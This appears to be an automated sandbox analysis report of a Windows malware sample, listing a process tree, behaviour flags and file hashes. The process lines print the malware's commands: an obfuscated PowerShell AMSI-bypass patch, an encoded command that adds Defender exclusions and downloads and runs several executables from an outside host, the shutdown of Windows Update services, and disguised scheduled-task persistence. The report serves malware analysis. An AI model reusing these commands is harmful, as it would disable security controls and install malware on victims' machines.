Char](86)+''+'i'+''+[Char](114)+''+'t'+'ua'+[Char](108)+'',$wSwhIWKNtf,$OmYUOqDqmYJncp).SetImplementationFlags('Ru'+[Char](110)+''+'t'+''+'i'+''+[Char](109)+'e'+[Char](44)+''+'M'+''+'a'+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $gCQPtdTpOge.CreateType();}$vmdVQKksxCXLv=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+''+[Char](46)+'d'+'l'+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+'c'+[Char](114)+''+[Char](111)+'s'+[Char](111)+''+[Char](102)+''+[Char](116)+''+[Char](46)+'W'+[Char](105)+''+'n'+'3'+[Char](50)+''+'.'+'U'+[Char](110)+'s'+[Char](97)+'f'+'e'+''+[Char](118)+''+'m'+''+[Char](100)+''+[Char](86)+'Q'+[Char](75)+''+[Char](107)+''+[Char](115)+''+'x'+''+[Char](67)+''+[Char](88)+'L'+[Char](118)+'');$nCjAVNXDsiSrhd=$vmdVQKksxCXLv.GetMethod(''+'n'+''+[Char](67)+'j'+[Char](65)+''+'V'+'N'+[Char](88)+''+'D'+''+[Char](115)+'iS'+'r'+''+'h'+'d',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+'t'+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+'',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$vreFkSuOMdYcSgOAxAy=KrMEMOqYsUAr @([String])([IntPtr]);$OsdAacLVNHUzQBjMyCDqea=KrMEMOqYsUAr @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$mkEaFVvDBXo=$vmdVQKksxCXLv.GetMethod(''+[Char](71)+''+'e'+'t'+[Char](77)+''+[Char](111)+'du'+[Char](108)+'e'+'H'+''+'a'+''+'n'+'d'+[Char](108)+'e').Invoke($Null,@([Object](''+[Char](107)+''+'e'+''+[Char](114)+''+'n'+''+'e'+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](100)+''+[Char](108)+'l')));$LkrQgObAfGieUf=$nCjAVNXDsiSrhd.Invoke($Null,@([Object]$mkEaFVvDBXo,[Object](''+[Char](76)+''+'o'+''+'a'+''+'d'+''+[Char](76)+''+[Char](105)+'bra'+'r'+'yA')));$ZHrMsxeNxRFzEQqSW=$nCjAVNXDsiSrhd.Invoke($Null,@([Object]$mkEaFVvDBXo,[Object](''+[Char](86)+''+[Char](105)+'r'+[Char](116)+'u'+[Char](97)+'lP'+[Char](114)+'o'+[Char](116)+''+[Char](101)+''+[Char](99)+'t')));$zsYLhxV=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LkrQgObAfGieUf,$vreFkSuOMdYcSgOAxAy).Invoke('a'+[Char](109)+''+'s'+''+[Char](105)+''+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'');$kRtcwGIpiFPMAsnXF=$nCjAVNXDsiSrhd.Invoke($Null,@([Object]$zsYLhxV,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+'S'+[Char](99)+'a'+[Char](110)+''+[Char](66)+'uff'+[Char](101)+'r')));$JpIOdxVkqn=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ZHrMsxeNxRFzEQqSW,$OsdAacLVNHUzQBjMyCDqea).Invoke($kRtcwGIpiFPMAsnXF,[uint32]8,4,[ref]$JpIOdxVkqn);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$kRtcwGIpiFPMAsnXF,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ZHrMsxeNxRFzEQqSW,$OsdAacLVNHUzQBjMyCDqea).Invoke($kRtcwGIpiFPMAsnXF,[uint32]8,0x20,[ref]$JpIOdxVkqn);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+'F'+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+'R'+''+'E'+'').GetValue(''+'d'+''+[Char](105)+''+[Char](97)+''+[Char](108)+'er'+'s'+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+'e'+''+'r'+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4928
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1172
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1268
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2372
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1560
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1796
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:420
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2732
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2800
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3436
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4696
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵PID:4240
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:4972
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:2128
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:4512
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:5036
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:4076
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4384
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3636
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3276
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:1336
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:2056
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C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe"C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1616 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:4892 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2716 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:2656
-
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:960 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:204
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 960 -s 3046⤵
- Program crash
PID:1788
-
-
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2264
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3060
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1616 -s 1563⤵
- Program crash
PID:1332
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4128
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:3052 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:2496
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:1784
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:3700
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:4960
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:3460
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:3680
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:1728
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:3048
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:2712
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:3740
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1640
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:2928
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2780
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2772
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2696
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:2688
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2524
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2516
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2384
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:2224
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2088
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2080
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1992
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1912
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1892
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1812
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1688
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s FontCache1⤵PID:1644
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1632
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1580
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1440
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1404
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1392
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1232
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1204
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1072
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1064
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:696
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:952
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 1616 -ip 16161⤵PID:3404
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 960 -ip 9601⤵PID:3732
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
19KB
MD5f6397661b6a8add94741fc3e18f2ca3e
SHA128b929353884562a6cc1b1e72bed614b32e369a9
SHA2566ced76e37706b232086cf2f8ace78c2f1190c84a4bcae8aa7490cc6c64675841
SHA512a49703eda1499ff0efa3faf7bbf6cf40f8523c66fd5c911b8310d765aeb6178a696021d04ee992b73524e9297cd68d7cabe532a1c54852c643eb2688a3235938
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Filesize
948B
MD5a7ce8cefc3f798abe5abd683d0ef26dd
SHA1b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e
SHA2565e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
SHA512c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
464KB
MD5990c8e3fc56a2734631b51fc61a6779a
SHA155a16cc67fc52cdf0690387e083955048106d48a
SHA256d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5
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Filesize
464KB
MD5990c8e3fc56a2734631b51fc61a6779a
SHA155a16cc67fc52cdf0690387e083955048106d48a
SHA256d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5